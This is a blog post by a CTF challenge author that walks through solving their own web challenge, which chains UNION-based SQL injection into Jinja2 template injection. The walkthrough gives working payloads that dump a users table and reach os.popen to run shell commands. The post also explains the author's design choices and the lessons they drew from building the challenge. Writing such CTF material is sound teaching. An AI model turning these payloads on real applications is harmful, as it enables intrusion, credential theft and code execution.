All posts
CTFSQL InjectionSSTIWeb SecurityChallenge AuthorWriteup

First CTF Challenge, First Flag Dropped

2025-12-15

🚩 First CTF Challenge, First Flag Dropped (Web Category)

Last weekend's GCDxN7 CTF, hosted at ENSA Marrakech in collaboration with ENSET Mohammedia, was intense, exhausting, and incredibly rewarding.

While teams were hunting flags, I was on the other side of the battlefield β€” contributing as a Web challenge author for the first time. Designing a challenge, testing edge cases, breaking my own logic, fixing it again… and then watching players struggle, adapt, and finally solve it was a whole new kind of adrenaline.

Below is the full writeup of the challenge I created.


Challenge Overview

This challenge requires chaining two critical web vulnerabilities to retrieve the flag:

  1. SQL Injection in the search and login functionality
  2. Server-Side Template Injection (SSTI) in the template preview feature

Setup

cd web_challenge
pip install -r requirements.txt
python app.py

The application runs at http://localhost:5000.


Part 1: SQL Injection

Step 1: Identify the Vulnerability

Visit the search page at /search and test for SQL injection:

' OR '1'='1

SQL Injection test

The app returns all results β€” classic unfiltered input.

Step 2: Determine Column Count

Use a UNION SELECT to figure out how many columns the query returns:

' UNION SELECT 1,2,3,4-- -

Union column count

Step 3: Extract Database Version

' UNION SELECT 1,sqlite_version(),3,4-- -

SQLite version

We're dealing with SQLite β€” good to know for syntax.

Step 4: Enumerate Tables

' UNION SELECT 1,name,3,4 FROM sqlite_master WHERE type='table'-- -

Table enumeration

A users table β€” exactly what we need.

Step 5: Dump Credentials

' UNION SELECT id,username,password,4 FROM users-- -

Credential dump

We now have the admin credentials:

  • Username: 00xtrkh
  • Password: 00xtrkh@@@!!!!!A

Part 2: Server-Side Template Injection (SSTI)

Step 1: Access the Template Preview

Log in with the extracted admin credentials and navigate to the Template Preview page.

Template preview page

Step 2: Confirm SSTI

Test with a basic Jinja2 expression:

{{ 7*7 }}

If the output is 49, the template engine is rendering user input β€” SSTI confirmed.

SSTI confirmation

Step 3: Achieve Remote Code Execution

Use Python's MRO (Method Resolution Order) to traverse the class hierarchy and access os.popen:

{{"".__class__.__base__.__subclasses__()["80"].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

RCE - directory listing

We can see flag.txt in the directory listing.

Step 4: Capture the Flag

{{"".__class__.__base__.__subclasses__()["80"].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt').read()}}

Flag captured

🏴 Flag captured.


Why I Designed It This Way

The idea was to force players to chain vulnerabilities β€” not just find one bug, but connect two different attack surfaces:

  1. SQLi gives you access (credentials), but not the flag
  2. SSTI gives you code execution, but you need to be authenticated first

Neither vulnerability alone is enough. You have to think about the attack chain, which mirrors real-world scenarios where a single bug isn't always the full story.

Design Decisions

  • SQLite instead of MySQL/PostgreSQL β€” simpler to deploy in a CTF environment, but the injection techniques still apply
  • Jinja2 SSTI β€” one of the most common template injection vectors in Python web apps
  • Intentional credential complexity β€” the password 00xtrkh@@@!!!!!A makes brute-forcing impractical, pushing players toward the SQLi path
  • Separate attack surfaces β€” search page for SQLi, admin panel for SSTI, forcing players to explore the full app

πŸ”₯ Building a challenge is different from solving one

  • You learn how attackers think
  • You discover how fragile assumptions can be
  • You realize how small details turn into big vulnerabilities

Huge respect to everyone who solved this β€” you didn't just find a flag, you validated weeks of learning and experimentation.


πŸ’‘ Lessons Learned

  1. Think like the attacker β€” Every input field is a potential entry point. When you're the author, you have to anticipate every creative bypass players might try.

  2. Test your own assumptions β€” I thought my challenge was solid, until I started breaking it myself during QA. Edge cases are everywhere.

  3. Infrastructure matters β€” A challenge is only as good as its uptime. Keeping things running during 12 hours of load was its own challenge.

  4. The feedback loop is addictive β€” Watching the scoreboard update when someone solves your challenge is pure validation.


What's Next?

This was my first step into CTF challenge creation, and definitely not the last.

More ideas, more bugs, more learning coming soon.

πŸš€ On to the next one.